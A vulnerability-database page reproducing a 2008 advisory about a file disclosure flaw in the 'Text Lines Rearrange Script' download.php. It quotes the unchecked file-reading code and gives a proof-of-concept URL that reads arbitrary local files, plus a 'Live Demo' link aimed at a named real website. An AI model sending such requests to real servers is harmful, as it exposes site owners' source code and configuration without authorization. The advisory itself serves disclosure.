Lucene search
K

Text Lines Rearrange Script File Disclosure

🗓️ 30 Dec 2008 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Vulnerability discovered in download.php allowing file disclosure via manipulated filename parameter.

Code
`#############################################################################################  
[+] Text Lines Rearrange Script (download.php filename) File  
Disclosure Vulnerability  
[+] Discovered By SirGod  
[+] Visit : www.h4cky0u.org  
[+] Greetz : All my friends  
#############################################################################################  
  
[+] File Disclosure Vulnerability  
  
Vulnerable Code in download.php :  
  
-----------------------------------------------------  
  
if(file_exists($filename))  
{  
$fp=fopen($filename,"r");  
$content=fread($fp,filesize($filename));  
fclose($fp);  
  
------------------------------------------------------   
  
PoC :  
  
http://[target]/[path]/download.php?filename=[Local File]  
  
Example :  
  
http://[target]/[path]/download.php?filename=index.php  
  
Live Demo :  
  
http://www.rightscripts.com/listrearrange/download.php?filename=index.php  
  
#############################################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation